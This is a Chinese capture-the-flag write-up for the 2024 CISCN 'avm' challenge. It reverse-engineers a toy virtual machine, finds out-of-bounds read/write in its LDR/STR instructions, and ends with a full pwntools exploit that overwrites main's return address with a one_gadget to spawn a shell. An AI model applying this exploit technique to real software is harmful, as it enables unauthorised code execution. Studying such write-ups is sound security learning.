2024 CISCN x 长城杯 AVM
avm
VM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。
1.程序逆向
函数主函数如下:
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{_BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREFunsigned __int64 v5; // [rsp+C08h] [rbp-8h]v5 = __readfsqword(0x28u);init();memset(s, 0, 0x300uLL);write(1, "opcode: ", 8uLL);read(0, s, 0x300uLL);sub_1230(&unk_40C0, s, 768LL);sub_19F1(&unk_40C0);return v5 - __readfsqword(0x28u);
}
memset了0x300的内存,write提示这块内存作为opcode输入,所以可以得到s变量就是opcode,之后的sub_1230和sub_19F1函数就是对我们输入的opcode的处理了。也是这个vm的主要功能
1.1 寄存器结构体逆向
首先看sub_1230函数:
_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size)
{_QWORD *result; // raxint i; // [rsp+24h] [rbp-4h]a1[33] = opcode;a1[34] = size;result = a1;a1[32] = 0LL;for ( i = 0; i <= 31; ++i ){result = a1;a1[i] = 0LL;}return result;
}
for循环有一个非常经典的循环32次置空的操作,这个是把32个通用寄存器置空的操作
另外从数组的32到34赋值操作的含义分别:
为33号寄存器赋值opcode的基地址
为34号寄存器赋值opcode的最大长度,可能是用来限制指令读取,防止越界的。
32号寄存器赋值为空,这里暂时不知道作用是什么。
之后可以为IDA编辑如下结构体:
struct registers{__int64 r[32];__int64 unknown;__int64 op_base;__int64 op_size;};
之后去逆向sub_19F1函数
unsigned __int64 __fastcall sub_19F1(_QWORD *a1)
{unsigned int v2; // [rsp+1Ch] [rbp-114h]_BYTE s[264]; // [rsp+20h] [rbp-110h] BYREFunsigned __int64 v4; // [rsp+128h] [rbp-8h]v4 = __readfsqword(0x28u);memset(s, 0, 0x100uLL);while ( a1[32] < a1[34] ){v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;if ( v2 > 0xA || !v2 ){puts("Unsupported instruction");return v4 - __readfsqword(0x28u);}(funcs_1AAD[v2])(a1, s);}return v4 - __readfsqword(0x28u);
}
程序上来先memset了0x100的内存,并在执行指令时将内存作为参数传递:(funcs_1AAD[v2])(a1, s);
其中,v2来锁定执行的是哪条命令:
v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
是将opcode转换为指令的译码过程。
其中已知33号寄存器是基地址,那么32号寄存器应该就是偏移地址。两个地址相加处理后的地址是当前执行的指令地址,对当前指令地址右移28位就是指令的操作码。
可以看到这个是一个定长的指令集hh
那么现在可以将结构体修改为下面的样子了:
struct registers{__int64 r[32];__int64 ip;__int64 cs;__int64 op_size;};
之后去逆向指令即可
1.2 指令逆向
我们从第一个开始分析:下面是已经逆向好的内容:
Reg *__fastcall ADD(Reg *reg)
{Reg *result; // raxunsigned int PC; // [rsp+10h] [rbp-10h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = reg;reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F];return result;
}
此处我们逆向的目的是分析指令编码情况:
- 通过
reg->r[PC & 0x1F]
我们可以看到,指令的低5位是用来指定通用寄存器序号的(0x1f),并且是保存操作结果的 - 之前
v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
可以看到,指令的高36位(64位定长指令)或者高4位(32位定长指令)是用来指定指令操作码的 reg->ip += 4LL;
可以看到,以4字节为一个单位长度,代表指令是32位。
指令码大致如下:32bit:
0001 |0000 000|0 0000 | 0000 00| 00 000 |0 0000
操作码| |操作reg号| | reg号 |reg号
仅1~10 | |HIWORD(PC) & 0x1F |(PC >> 5) & 0x1F
之后其他指令都与此类似。唯二两个不同的指令如下:
unsigned __int64 __fastcall STR(Reg *reg, __int64 s)
{unsigned __int64 result; // raxunsigned int PC; // [rsp+20h] [rbp-20h]_QWORD *v4; // [rsp+30h] [rbp-10h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = byte_4010;if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ){v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);*v4 = reg->r[PC & 0x1F];return v4;}return result;
}
Reg *__fastcall LDR(Reg *reg, __int64 s)
{Reg *result; // raxunsigned __int16 v3; // [rsp+1Eh] [rbp-22h]unsigned int PC; // [rsp+20h] [rbp-20h]PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));reg->ip += 4LL;result = byte_4010;if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ){result = reg;v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF);reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s);}return result;
}
byte_4010中存的是0xff,if检查判断要求之后操作的地址范围在之前memset的0x100以内
检查条件如下:
if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )
STR指令赋值操作:
v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);
s是memset内存的基地址,(reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF))
是偏移
这里可以看到检测条件是0xff以内,但是if里面的赋值操作却可以写s加0x1000偏移以内的数据
2.漏洞利用
很明显,LDR和STR存在越界读写漏洞
没有输出函数,无法获得libc,打法是:
- 先构造一个LDR把一个onegadget附件的libc地址写入寄存器。
- 利用SUB指令将这个libc减去和onegadget的偏移,结果保存在指定寄存器中
- 利用STR把onegadget地址写入到main函数返回地址上。
这里解释一下下面的exp,sub操作只能在寄存器之间操作。所以无法直接写入一个我们希望的数据。利用方法是:先在opcode末尾加入我们计算好的onegadget与指定libc地址的偏移,然后通过STR指令将这个数据读入到寄存器中,再sub即可
3.exp
from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '8.147.135.93'
port = 37051
local = 1
if local:io = process(banary)
else:io = remote(ip, port)# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(log_level = 'debug', os = 'linux', arch = 'i386')def protect_ptr(address, next)-> int:return (address >> 12)^ next
def dbg():gdb.attach(io)pause()s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()def ADD():ins = 1opcode = ins<<28return p32(opcode)
def SUB(target_reg,sub_reg,besub_reg):ins = 2sub_reg = (sub_reg & 0x1f) << 5besub_reg = (besub_reg & 0x1f) << 16 opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_regreturn p32(opcode)
def STR(reg_idx,offset,store_reg):ins = 9reg_idx = (reg_idx & 0x1f) << 5offset = (offset & 0xfff) << 16opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offsetreturn p32(opcode)
def LDR(reg_idx,offset,save_reg):ins = 10reg_idx = (reg_idx & 0x1f) << 5offset = (offset & 0xfff) << 16opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offsetreturn p32(opcode)onegadget = 0x249040 - 0x50a47 #libc.sym['_dl_fini']opcode = LDR(0,0xa40,1) + LDR(0,0x138,2)
opcode += SUB(4,1,2) + STR(0,0x118,4)
opcode += p64(0)
opcode += p64(onegadget)
# dbg()
sa(b'opcode',opcode)# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULLia()